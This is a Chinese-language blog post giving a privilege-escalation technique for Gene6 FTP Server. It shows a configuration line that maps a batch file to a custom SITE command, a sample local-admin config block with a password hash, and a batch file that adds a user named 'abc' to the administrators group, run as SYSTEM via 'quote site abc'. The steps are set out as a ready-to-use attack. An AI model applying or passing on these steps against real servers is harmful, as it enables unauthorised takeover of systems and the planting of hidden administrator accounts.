<< 突破一流信息监控系统实现文件“上传”OBlog Sql Injection Vulnerability >>

Gene6 FTP 提权方法

在任意帐户配置文件中添加SiteCommandList0=-1,TQ1,c:\a.bat,0,60,0,0,jid

TQ1=命令名

c:\a.bat=实际路径

如果没有修改权限,也可以从本地走~~~

以下为本地管理员配置

[Server]
IP=127.0.0.1,8021\r\n
GrantAllAccessToLocalHost=0
[Acct=chensong]
Enabled=1
Rights=0
Password=58F6E4407FFE8F618CDE3C16FA3360DD


1. 以非特权用户的身份登陆。

2. 打开Gene6 FTP Server控制台,添加FTP用户帐号,如"test"

3. 对FTP server添加新的SITE命令。如果要实现这个操作,你必须将可执行文件映射到新建的SITE命令。详见4和5步。

4. 编写一个名为ABC.bat的.bat文件。

---cut here -------------------------
net user abc /add
net localgroup administrators abc /add
---cut here -------------------------

5. 将这个ABC.bat映射到新建的SITE命令,如ABC

6. 现在就可以获取SYSTEM权限了。使用test用户登陆到FTP server,然后执行以下命令:
ftp>quote site abc

这样就以SYSTEM权限执行了ABC.bat。

当然,还可以映射任何其他可执行文件。
添加书签: [QQ书签] [百度搜藏] [新浪ViVi] [365Key网摘] [天极网摘] [我摘] [POCO网摘] [和讯网摘]
  • 相关文章:

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

最新评论及回复

Search

最近发表

Copyright 2006-2008 www.edge365.com Some Rights Reserved.